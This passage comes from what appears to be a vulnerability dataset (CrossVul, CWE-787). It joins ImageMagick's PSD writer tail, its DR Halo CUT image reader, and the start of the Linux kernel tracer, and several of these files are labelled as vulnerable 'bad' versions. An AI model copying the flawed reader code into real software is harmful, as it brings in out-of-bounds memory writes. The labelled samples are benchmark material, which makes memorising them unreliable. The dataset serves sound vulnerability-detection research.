size+=WriteBlobByte(image,mask->compose == NoCompositeOp ? 2 : 0); size+=WriteBlobMSBShort(image,0); } size+=WriteBlobMSBLong(image,0); size+=WritePascalString(image,property,4); if (info != (const StringInfo *) NULL) size+=WriteBlob(image,GetStringInfoLength(info), GetStringInfoDatum(info)); next_image=GetNextImageInList(next_image); } /* Now the image data! */ next_image=base_image; layer_index=0; while (next_image != NULL) { length=WritePSDChannels(&psd_info,image_info,image,next_image, layer_size_offsets[layer_index++],MagickTrue,exception); if (length == 0) { status=MagickFalse; break; } size+=length; next_image=GetNextImageInList(next_image); } (void) WriteBlobMSBLong(image,0); /* user mask data */ /* Write the total size */ size_offset+=WritePSDSize(&psd_info,image,size+ (psd_info.version == 1 ? 8 : 16),size_offset); if ((size/2) != ((size+1)/2)) rounded_size=size+1; else rounded_size=size; (void) WritePSDSize(&psd_info,image,rounded_size,size_offset); layer_size_offsets=(MagickOffsetType *) RelinquishMagickMemory( layer_size_offsets); /* Remove the opacity mask from the registry */ next_image=base_image; while (next_image != (Image *) NULL) { property=GetImageArtifact(next_image,"psd:opacity-mask"); if (property != (const char *) NULL) DeleteImageRegistry(property); next_image=GetNextImageInList(next_image); } /* Write composite image. */ if (status != MagickFalse) { CompressionType compression; compression=image->compression; if (image->compression == ZipCompression) image->compression=RLECompression; if (WritePSDChannels(&psd_info,image_info,image,image,0,MagickFalse, exception) == 0) status=MagickFalse; image->compression=compression; } (void) CloseBlob(image); return(status); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_3106_0
crossvul-cpp_data_bad_363_0
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % CCC U U TTTTT % % C U U T % % C U U T % % C U U T % % CCC UUU T % % % % % % Read DR Halo Image Format % % % % Software Design % % Jaroslav Fojtik % % June 2000 % % % % % % Permission is hereby granted, free of charge, to any person obtaining a % % copy of this software and associated documentation files ("ImageMagick"), % % to deal in ImageMagick without restriction, including without limitation % % the rights to use, copy, modify, merge, publish, distribute, sublicense, % % and/or sell copies of ImageMagick, and to permit persons to whom the % % ImageMagick is furnished to do so, subject to the following conditions: % % % % The above copyright notice and this permission notice shall be included in % % all copies or substantial portions of ImageMagick. % % % % The software is provided "as is", without warranty of any kind, express or % % implied, including but not limited to the warranties of merchantability, % % fitness for a particular purpose and noninfringement. In no event shall % % ImageMagick Studio be liable for any claim, damages or other liability, % % whether in an action of contract, tort or otherwise, arising from, out of % % or in connection with ImageMagick or the use or other dealings in % % ImageMagick. % % % % Except as contained in this notice, the name of the ImageMagick Studio % % shall not be used in advertising or otherwise to promote the sale, use or % % other dealings in ImageMagick without prior written authorization from the % % ImageMagick Studio. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "MagickCore/studio.h" #include "MagickCore/attribute.h" #include "MagickCore/blob.h" #include "MagickCore/blob-private.h" #include "MagickCore/cache.h" #include "MagickCore/color.h" #include "MagickCore/color-private.h" #include "MagickCore/colormap.h" #include "MagickCore/colormap-private.h" #include "MagickCore/exception.h" #include "MagickCore/exception-private.h" #include "MagickCore/image.h" #include "MagickCore/image-private.h" #include "MagickCore/list.h" #include "MagickCore/magick.h" #include "MagickCore/memory_.h" #include "MagickCore/pixel-accessor.h" #include "MagickCore/quantum-private.h" #include "MagickCore/static.h" #include "MagickCore/string_.h" #include "MagickCore/module.h" #include "MagickCore/utility.h" #include "MagickCore/utility-private.h" typedef struct { unsigned Width; unsigned Height; unsigned Reserved; } CUTHeader; typedef struct { char FileId[2]; unsigned Version; unsigned Size; char FileType; char SubType; unsigned BoardID; unsigned GraphicsMode; unsigned MaxIndex; unsigned MaxRed; unsigned MaxGreen; unsigned MaxBlue; char PaletteId[20]; } CUTPalHeader; static void InsertRow(Image *image,ssize_t depth,unsigned char *p,ssize_t y, ExceptionInfo *exception) { size_t bit; ssize_t x; register Quantum *q; Quantum index; index=0; switch (depth) { case 1: /* Convert bitmap scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < ((ssize_t) image->columns-7); x+=8) { for (bit=0; bit < 8; bit++) { index=(Quantum) ((((*p) & (0x80 >> bit)) != 0) ? 0x01 : 0x00); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); } p++; } if ((image->columns % 8) != 0) { for (bit=0; bit < (image->columns % 8); bit++) { index=(Quantum) ((((*p) & (0x80 >> bit)) != 0) ? 0x01 : 0x00); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); } p++; } (void) SyncAuthenticPixels(image,exception); break; } case 2: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p >> 4) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p >> 2) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); p++; } if ((image->columns % 4) != 0) { index=ConstrainColormapIndex(image,(*p >> 6) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); if ((image->columns % 4) >= 1) { index=ConstrainColormapIndex(image,(*p >> 4) & 0x3,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); if ((image->columns % 4) >= 2) { index=ConstrainColormapIndex(image,(*p >> 2) & 0x3, exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); } } p++; } (void) SyncAuthenticPixels(image,exception); break; } case 4: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < ((ssize_t) image->columns-1); x+=2) { index=ConstrainColormapIndex(image,(*p >> 4) & 0xf,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); index=ConstrainColormapIndex(image,(*p) & 0xf,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); p++; } if ((image->columns % 2) != 0) { index=ConstrainColormapIndex(image,(*p >> 4) & 0xf,exception); SetPixelIndex(image,index,q); q+=GetPixelChannels(image); p++; } (void) SyncAuthenticPixels(image,exception); break; } case 8: /* Convert PseudoColor scanline. */ { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { index=ConstrainColormapIndex(image,*p,exception); SetPixelIndex(image,index,q); p++; q+=GetPixelChannels(image); } (void) SyncAuthenticPixels(image,exception); break; } } } /* Compute the number of colors in Grayed R[i]=G[i]=B[i] image */ static int GetCutColors(Image *image,ExceptionInfo *exception) { Quantum intensity, scale_intensity; register Quantum *q; ssize_t x, y; intensity=0; scale_intensity=ScaleCharToQuantum(16); for (y=0; y < (ssize_t) image->rows; y++) { q=GetAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if (intensity < GetPixelRed(image,q)) intensity=GetPixelRed(image,q); if (intensity >= scale_intensity) return(255); q+=GetPixelChannels(image); } } if (intensity < ScaleCharToQuantum(2)) return(2); if (intensity < ScaleCharToQuantum(16)) return(16); return((int) intensity); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadCUTImage() reads an CUT X image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % The format of the ReadCUTImage method is: % % Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: the image info. % % o exception: return any errors or warnings in this structure. % */ static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) { #define ThrowCUTReaderException(severity,tag) \ { \ if (palette != NULL) \ palette=DestroyImage(palette); \ if (clone_info != NULL) \ clone_info=DestroyImageInfo(clone_info); \ ThrowReaderException(severity,tag); \ } Image *image,*palette; ImageInfo *clone_info; MagickBooleanType status; MagickOffsetType offset; size_t EncodedByte; unsigned char RunCount,RunValue,RunCountMasked; CUTHeader Header; CUTPalHeader PalHeader; ssize_t depth; ssize_t i,j; ssize_t ldblk; unsigned char *BImgBuff=NULL,*ptrB; register Quantum *q; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read CUT image. */ palette=NULL; clone_info=NULL; Header.Width=ReadBlobLSBShort(image); Header.Height=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.Width==0 || Header.Height==0 || Header.Reserved!=0) CUT_KO: ThrowCUTReaderException(CorruptImageError,"ImproperImageHeader"); /*---This code checks first line of image---*/ EncodedByte=ReadBlobLSBShort(image); RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; ldblk=0; while((int) RunCountMasked!=0) /*end of line?*/ { i=1; if((int) RunCount<0x80) i=(ssize_t) RunCountMasked; offset=SeekBlob(image,TellBlob(image)+i,SEEK_SET); if (offset < 0) ThrowCUTReaderException(CorruptImageError,"ImproperImageHeader"); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data*/ EncodedByte-=i+1; ldblk+=(ssize_t) RunCountMasked; RunCount=(unsigned char) ReadBlobByte(image); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data: unexpected eof in line*/ RunCountMasked=RunCount & 0x7F; } if(EncodedByte!=1) goto CUT_KO; /*wrong data: size incorrect*/ i=0; /*guess a number of bit planes*/ if(ldblk==(int) Header.Width) i=8; if(2*ldblk==(int) Header.Width) i=4; if(8*ldblk==(int) Header.Width) i=1; if(i==0) goto CUT_KO; /*wrong data: incorrect bit planes*/ depth=i; image->columns=Header.Width; image->rows=Header.Height; image->depth=8; image->colors=(size_t) (GetQuantumRange(1UL*i)+1); if (image_info->ping != MagickFalse) goto Finish; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); return(DestroyImageList(image)); } /* ----- Do something with palette ----- */ if ((clone_info=CloneImageInfo(image_info)) == NULL) goto NoPalette; i=(ssize_t) strlen(clone_info->filename); j=i; while(--i>0) { if(clone_info->filename[i]=='.') { break; } if(clone_info->filename[i]=='/' || clone_info->filename[i]=='\\' || clone_info->filename[i]==':' ) { i=j; break; } } (void) CopyMagickString(clone_info->filename+i,".PAL",(size_t) (MagickPathExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { (void) CopyMagickString(clone_info->filename+i,".pal",(size_t) (MagickPathExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info->filename[i]='\0'; if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info=DestroyImageInfo(clone_info); clone_info=NULL; goto NoPalette; } } } if( (palette=AcquireImage(clone_info,exception))==NULL ) goto NoPalette; status=OpenBlob(clone_info,palette,ReadBinaryBlobMode,exception); if (status == MagickFalse) { ErasePalette: palette=DestroyImage(palette); palette=NULL; goto NoPalette; } if(palette!=NULL) { (void) ReadBlob(palette,2,(unsigned char *) PalHeader.FileId); if(strncmp(PalHeader.FileId,"AH",2) != 0) goto ErasePalette; PalHeader.Version=ReadBlobLSBShort(palette); PalHeader.Size=ReadBlobLSBShort(palette); PalHeader.FileType=(char) ReadBlobByte(palette); PalHeader.SubType=(char) ReadBlobByte(palette); PalHeader.BoardID=ReadBlobLSBShort(palette); PalHeader.GraphicsMode=ReadBlobLSBShort(palette); PalHeader.MaxIndex=ReadBlobLSBShort(palette); PalHeader.MaxRed=ReadBlobLSBShort(palette); PalHeader.MaxGreen=ReadBlobLSBShort(palette); PalHeader.MaxBlue=ReadBlobLSBShort(palette); (void) ReadBlob(palette,20,(unsigned char *) PalHeader.PaletteId); if (EOFBlob(image)) ThrowCUTReaderException(CorruptImageError,"UnexpectedEndOfFile"); if(PalHeader.MaxIndex<1) goto ErasePalette; image->colors=PalHeader.MaxIndex+1; if (AcquireImageColormap(image,image->colors,exception) == MagickFalse) goto NoMemory; if(PalHeader.MaxRed==0) PalHeader.MaxRed=(unsigned int) QuantumRange; /*avoid division by 0*/ if(PalHeader.MaxGreen==0) PalHeader.MaxGreen=(unsigned int) QuantumRange; if(PalHeader.MaxBlue==0) PalHeader.MaxBlue=(unsigned int) QuantumRange; for(i=0;i<=(int) PalHeader.MaxIndex;i++) { /*this may be wrong- I don't know why is palette such strange*/ j=(ssize_t) TellBlob(palette); if((j % 512)>512-6) { j=((j / 512)+1)*512; offset=SeekBlob(palette,j,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } image->colormap[i].red=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxRed) { image->colormap[i].red=ClampToQuantum(((double) image->colormap[i].red*QuantumRange+(PalHeader.MaxRed>>1))/ PalHeader.MaxRed); } image->colormap[i].green=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxGreen) { image->colormap[i].green=ClampToQuantum (((double) image->colormap[i].green*QuantumRange+(PalHeader.MaxGreen>>1))/PalHeader.MaxGreen); } image->colormap[i].blue=(Quantum) ReadBlobLSBShort(palette); if (QuantumRange != (Quantum) PalHeader.MaxBlue) { image->colormap[i].blue=ClampToQuantum (((double)image->colormap[i].blue*QuantumRange+(PalHeader.MaxBlue>>1))/PalHeader.MaxBlue); } } if (EOFBlob(image)) ThrowCUTReaderException(CorruptImageError,"UnexpectedEndOfFile"); } NoPalette: if(palette==NULL) { image->colors=256; if (AcquireImageColormap(image,image->colors,exception) == MagickFalse) { NoMemory: ThrowCUTReaderException(ResourceLimitError,"MemoryAllocationFailed"); } for (i=0; i < (ssize_t)image->colors; i++) { image->colormap[i].red=ScaleCharToQuantum((unsigned char) i); image->colormap[i].green=ScaleCharToQuantum((unsigned char) i); image->colormap[i].blue=ScaleCharToQuantum((unsigned char) i); } } /* ----- Load RLE compressed raster ----- */ BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/ if(BImgBuff==NULL) goto NoMemory; offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET); if (offset < 0) { if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } for (i=0; i < (int) Header.Height; i++) { EncodedByte=ReadBlobLSBShort(image); ptrB=BImgBuff; j=ldblk; RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; while ((int) RunCountMasked != 0) { if((ssize_t) RunCountMasked>j) { /*Wrong Data*/ RunCountMasked=(unsigned char) j; if(j==0) { break; } } if((int) RunCount>0x80) { RunValue=(unsigned char) ReadBlobByte(image); (void) memset(ptrB,(int) RunValue,(size_t) RunCountMasked); } else { (void) ReadBlob(image,(size_t) RunCountMasked,ptrB); } ptrB+=(int) RunCountMasked; j-=(int) RunCountMasked; if (EOFBlob(image) != MagickFalse) goto Finish; /* wrong data: unexpected eof in line */ RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; } InsertRow(image,depth,BImgBuff,i,exception); } (void) SyncImage(image,exception); /*detect monochrome image*/ if(palette==NULL) { /*attempt to detect binary (black&white) images*/ if ((image->storage_class == PseudoClass) && (SetImageGray(image,exception) != MagickFalse)) { if(GetCutColors(image,exception)==2) { for (i=0; i < (ssize_t)image->colors; i++) { register Quantum sample; sample=ScaleCharToQuantum((unsigned char) i); if(image->colormap[i].red!=sample) goto Finish; if(image->colormap[i].green!=sample) goto Finish; if(image->colormap[i].blue!=sample) goto Finish; } image->colormap[1].red=image->colormap[1].green= image->colormap[1].blue=QuantumRange; for (i=0; i < (ssize_t)image->rows; i++) { q=QueueAuthenticPixels(image,0,i,image->columns,1,exception); if (q == (Quantum *) NULL) break; for (j=0; j < (ssize_t)image->columns; j++) { if (GetPixelRed(image,q) == ScaleCharToQuantum(1)) { SetPixelRed(image,QuantumRange,q); SetPixelGreen(image,QuantumRange,q); SetPixelBlue(image,QuantumRange,q); } q+=GetPixelChannels(image); } if (SyncAuthenticPixels(image,exception) == MagickFalse) goto Finish; } } } } Finish: if (BImgBuff != NULL) BImgBuff=(unsigned char *) RelinquishMagickMemory(BImgBuff); if (palette != NULL) palette=DestroyImage(palette); if (clone_info != NULL) clone_info=DestroyImageInfo(clone_info); if (EOFBlob(image) != MagickFalse) ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); (void) CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterCUTImage() adds attributes for the CUT image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterCUTImage method is: % % size_t RegisterCUTImage(void) % */ ModuleExport size_t RegisterCUTImage(void) { MagickInfo *entry; entry=AcquireMagickInfo("CUT","CUT","DR Halo"); entry->decoder=(DecodeImageHandler *) ReadCUTImage; entry->flags|=CoderDecoderSeekableStreamFlag; (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r C U T I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterCUTImage() removes format registrations made by the % CUT module from the list of supported formats. % % The format of the UnregisterCUTImage method is: % % UnregisterCUTImage(void) % */ ModuleExport void UnregisterCUTImage(void) { (void) UnregisterMagickInfo("CUT"); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_363_0
crossvul-cpp_data_bad_205_2
/* * ring buffer based function tracer * * Copyright (C) 2007-2012 Steven Rostedt <srostedt@redhat.com> * Copyright (C) 2008 Ingo Molnar <mingo@redhat.com> * * Originally taken from the RT patch by: * Arnaldo Carvalho de Melo <acme@redhat.com> * * Based on code from the latency_tracer, that is: * Copyright (C) 2004-2006 Ingo Molnar * Copyright (C) 2004 Nadia Yvette Chambers */ #include <linux/ring_buffer.h> #include <generated/utsrelease.h> #include <linux/stacktrace.h> #include <linux/writeback.h> #include <linux/kallsyms.h> #include <linux/seq_file.h> #include <linux/notifier.h> #include <linux/irqflags.h> #include <linux/debugfs.h> #include <linux/tracefs.h> #include <linux/pagemap.h> #include <linux/hardirq.h> #include <linux/linkage.h> #include <linux/uaccess.h> #include <linux/vmalloc.h> #include <linux/ftrace.h> #include <linux/module.h> #include <linux/percpu.h> #include <linux/splice.h> #include <linux/kdebug.h> #include <linux/string.h> #include <linux/mount.h> #include <linux/rwsem.h> #include <linux/slab.h> #include <linux/ctype.h> #include <linux/init.h> #include <linux/poll.h> #include <linux/nmi.h> #include <linux/fs.h> #include <linux/trace.h> #include <linux/sched/clock.h> #include <linux/sched/rt.h> #include "trace.h" #include "trace_output.h" /* * On boot up, the ring buffer is set to the minimum size, so that * we do not waste memory on systems that are not using tracing. */ bool ring_buffer_expanded; /* * We need to change this state when a selftest is running. * A selftest will lurk into the ring-buffer to count the * entries inserted during the selftest although some concurrent * insertions into the ring-buffer such as trace_printk could occurred * at the same time, giving false positive or negative results. */ static bool __read_mostly tracing_selftest_running; /* * If a tracer is running, we do not want to run SELFTEST. */ bool __read_mostly tracing_selftest_disabled; /* Pipe tracepoints to printk */ struct trace_iterator *tracepoint_print_iter; int tracepoint_printk; static DEFINE_STATIC_KEY_FALSE(tracepoint_printk_key); /* For tracers that don't implement custom flags */ static struct tracer_opt dummy_tracer_opt[] = { { } }; static int dummy_set_flag(struct trace_array *tr, u32 old_flags, u32 bit, int set) { return 0; } /* * To prevent the comm cache from being overwritten when no * tracing is active, only save the comm when a trace event * occurred. */ static DEFINE_PER_CPU(bool, trace_taskinfo_save); /* * Kill all tracing for good (never come back). * It is initialized to 1 but will turn to zero if the initialization * of the tracer is successful. But that is the only place that sets * this back to zero. */ static int tracing_disabled = 1; cpumask_var_t __read_mostly tracing_buffer_mask; /* * ftrace_dump_on_oops - variable to dump ftrace buffer on oops * * If there is an oops (or kernel panic) and the ftrace_dump_on_oops * is set, then ftrace_dump is called. This will output the contents * of the ftrace buffers to the console. This is very useful for * capturing traces that lead to crashes and outputing it to a * serial console. * * It is default off, but you can enable it with either specifying * "ftrace_dump_on_oops" in the kernel command line, or setting * /proc/sys/kernel/ftrace_dump_on_oops * Set 1 if you want to dump buffers of all CPUs * Set 2 if you want to dump the buffer of the CPU that triggered oops */ enum ftrace_dump_mode ftrace_dump_on_oops; /* When set, tracing will stop when a WARN*() is hit */ int __disable_trace_on_warning; #ifdef CONFIG_TRACE_EVAL_MAP_FILE /* Map of enums to their values, for "eval_map" file */ struct trace_eval_map_head { struct module *mod; unsigned long length; }; union trace_eval_map_item; struct trace_eval_map_tail { /* * "end" is first and points to NULL as it must be different * than "mod" or "eval_string" */ union trace_eval_map_item *next; const char *end; /* points to NULL */ }; static DEFINE_MUTEX(trace_eval_mutex); /* * The trace_eval_maps are saved in an array with two extra elements, * one at the beginning, and one at the end. The beginning item contains * the count of the saved maps (head.length), and the module they * belong to if not built in (head.mod). The ending item contains a * pointer to the next array of saved eval_map items. */ union trace_eval_map_item { struct trace_eval_map map; struct trace_eval_map_head head; struct trace_eval_map_tail tail; }; static union trace_eval_map_item *trace_eval_maps; #endif /* CONFIG_TRACE_EVAL_MAP_FILE */ static int tracing_set_tracer(struct trace_array *tr, const char *buf); #define MAX_TRACER_SIZE 100 static char bootup_tracer_buf[MAX_TRACER_SIZE] __initdata; static char *default_bootup_tracer; static bool allocate_snapshot; static int __init set_cmdline_ftrace(char *str) { strlcpy(bootup_tracer_buf, str, MAX_TRACER_SIZE); default_bootup_tracer = bootup_tracer_buf; /* We are using ftrace early, expand it */ ring_buffer_expanded = true; return 1; } __setup("ftrace=", set_cmdline_ftrace); static int __init set_ftrace_dump_on_oops(char *str) { if (*str++ != '=' || !*str) { ftrace_dump_on_oops = DUMP_ALL; return 1; } if (!strcmp("orig_cpu", str)) { ftrace_dump_on_oops = DUMP_ORIG; return 1; } return 0; } __setup("ftrace_dump_on_oops", set_ftrace_dump_on_oops); static int __init stop_trace_on_warning(char *str) { if ((strcmp(str, "=0") != 0 && strcmp(str, "=off") != 0)) __disable_trace_on_warning = 1; return 1; } __setup("traceoff_on_warning", stop_trace_on_warning); static int __init boot_alloc_snapshot(char *str) { allocate_snapshot = true; /* We also need the main ring buffer expanded */ ring_buffer_expanded = true; return 1; } __setup("alloc_snapshot", boot_alloc_snapshot); static char trace_boot_options_buf[MAX_TRACER_SIZE] __initdata; static int __init set_trace_boot_options(char *str) { strlcpy(trace_boot_options_buf, str, MAX_TRACER_SIZE); return 0; } __setup("trace_options=", set_trace_boot_options); static char trace_boot_clock_buf[MAX_TRACER_SIZE] __initdata; static char *trace_boot_clock __initdata; static int __init set_trace_boot_clock(char *str) { strlcpy(trace_boot_clock_buf, str, MAX_TRACER_SIZE); trace_boot_clock = trace_boot_clock_buf; return 0; } __setup("trace_clock=", set_trace_boot_clock); static int __init set_tracepoint_printk(char *str) { if ((strcmp(str, "=0") != 0 && strcmp(str, "=off") != 0)) tracepoint_printk = 1; return 1; } __setup("tp_printk", set_tracepoint_printk); unsigned long long ns2usecs(u64 nsec) { nsec += 500; do_div(nsec, 1000); return nsec; } /* trace_flags holds trace_options default values */ #define TRACE_DEFAULT_FLAGS \ (FUNCTION_DEFAULT_FLAGS | \ TRACE_ITER_PRINT_PARENT | TRACE_ITER_PRINTK | \ TRACE_ITER_ANNOTATE | TRACE_ITER_CONTEXT_INFO | \ TRACE_ITER_RECORD_CMD | TRACE_ITER_OVERWRITE | \ TRACE_ITER_IRQ_INFO | TRACE_ITER_MARKERS) /* trace_options that are only supported by global_trace */ #define TOP_LEVEL_TRACE_FLAGS (TRACE_ITER_PRINTK | \ TRACE_ITER_PRINTK_MSGONLY | TRACE_ITER_RECORD_CMD) /* trace_flags that are default zero for instances */ #define ZEROED_TRACE_FLAGS \ (TRACE_ITER_EVENT_FORK | TRACE_ITER_FUNC_FORK) /* * The global_trace is the descriptor that holds the top-level tracing * buffers for the live tracing. */ static struct trace_array global_trace = { .trace_flags = TRACE_DEFAULT_FLAGS, }; LIST_HEAD(ftrace_trace_arrays); int trace_array_get(struct trace_array *this_tr) { struct trace_array *tr; int ret = -ENODEV; mutex_lock(&trace_types_lock); list_for_each_entry(tr, &ftrace_trace_arrays, list) { if (tr == this_tr) { tr->ref++; ret = 0; break; } } mutex_unlock(&trace_types_lock); return ret; } static void __trace_array_put(struct trace_array *this_tr) { WARN_ON(!this_tr->ref); this_tr->ref--; } void trace_array_put(struct trace_array *this_tr) { mutex_lock(&trace_types_lock); __trace_array_put(this_tr); mutex_unlock(&trace_types_lock); } int call_filter_check_discard(struct trace_event_call *call, void *rec, struct ring_buffer *buffer, struct ring_buffer_event *event) { if (unlikely(call->flags & TRACE_EVENT_FL_FILTERED) && !filter_match_preds(call->filter, rec)) { __trace_event_discard_commit(buffer, event); return 1; } return 0; } void trace_free_pid_list(struct trace_pid_list *pid_list) { vfree(pid_list->pids); kfree(pid_list); } /** * trace_find_filtered_pid - check if a pid exists in a filtered_pid list * @filtered_pids: The list of pids to check * @search_pid: The PID to find in @filtered_pids * * Returns true if @search_pid is fonud in @filtered_pids, and false otherwis. */ bool trace_find_filtered_pid(struct trace_pid_list *filtered_pids, pid_t search_pid) { /* * If pid_max changed after filtered_pids was created, we * by default ignore all pids greater than the previous pid_max. */ if (search_pid >= filtered_pids->pid_max) return false; return test_bit(search_pid, filtered_pids->pids); } /** * trace_ignore_this_task - should a task be ignored for tracing * @filtered_pids: The list of pids to check * @task: The task that should be ignored if not filtered * * Checks if @task should be traced or not from @filtered_pids. * Returns true if @task should *NOT* be traced. * Returns false if @task should be traced. */ bool trace_ignore_this_task(struct trace_pid_list *filtered_pids, struct task_struct *task) { /* * Return false, because if filtered_pids does not exist, * all pids are good to trace. */ if (!filtered_pids) return false; return !trace_find_filtered_pid(filtered_pids, task->pid); } /** * trace_pid_filter_add_remove_task - Add or remove a task from a pid_list * @pid_list: The list to modify * @self: The current task for fork or NULL for exit * @task: The task to add or remove * * If adding a task, if @self is defined, the task is only added if @self * is also included in @pid_list. This happens on fork and tasks should * only be added when the parent is listed. If @self is NULL, then the * @task pid will be removed from the list, which would happen on exit * of a task. */ void trace_filter_add_remove_task(struct trace_pid_list *pid_list, struct task_struct *self, struct task_struct *task) { if (!pid_list) return; /* For forks, we only add if the forking task is listed */ if (self) { if (!trace_find_filtered_pid(pid_list, self->pid)) return; } /* Sorry, but we don't support pid_max changing after setting */ if (task->pid >= pid_list->pid_max) return; /* "self" is set for forks, and NULL for exits */ if (self) set_bit(task->pid, pid_list->pids); else clear_bit(task->pid, pid_list->pids); } /** * trace_pid_next - Used for seq_file to get to the next pid of a pid_list * @pid_list: The pid list to show * @v: The last pid that was shown (+1 the actual pid to let zero be displayed) * @pos: The position of the file * * This is used by the seq_file "next" operation to iterate the pids * listed in a trace_pid_list structure. * * Returns the pid+1 as we want to display pid of zero, but NULL would * stop the iteration. */ void *trace_pid_next(struct trace_pid_list *pid_list, void *v, loff_t *pos) { unsigned long pid = (unsigned long)v; (*pos)++; /* pid already is +1 of the actual prevous bit */ pid = find_next_bit(pid_list->pids, pid_list->pid_max, pid); /* Return pid + 1 to allow zero to be represented */ if (pid < pid_list->pid_max) return (void *)(pid + 1); return NULL; } /** * trace_pid_start - Used for seq_file to start reading pid lists * @pid_list: The pid list to show * @pos: The position of the file * * This is used by seq_file "start" operation to start the iteration * of listing pids. * * Returns the pid+1 as we want to display pid of zero, but NULL would * stop the iteration. */ void *trace_pid_start(struct trace_pid_list *pid_list, loff_t *pos) { unsigned long pid; loff_t l = 0; pid = find_first_bit(pid_list->pids, pid_list->pid_max); if (pid >= pid_list->pid_max) return NULL; /* Return pid + 1 so that zero can be the exit value */ for (pid++; pid && l < *pos; pid = (unsigned 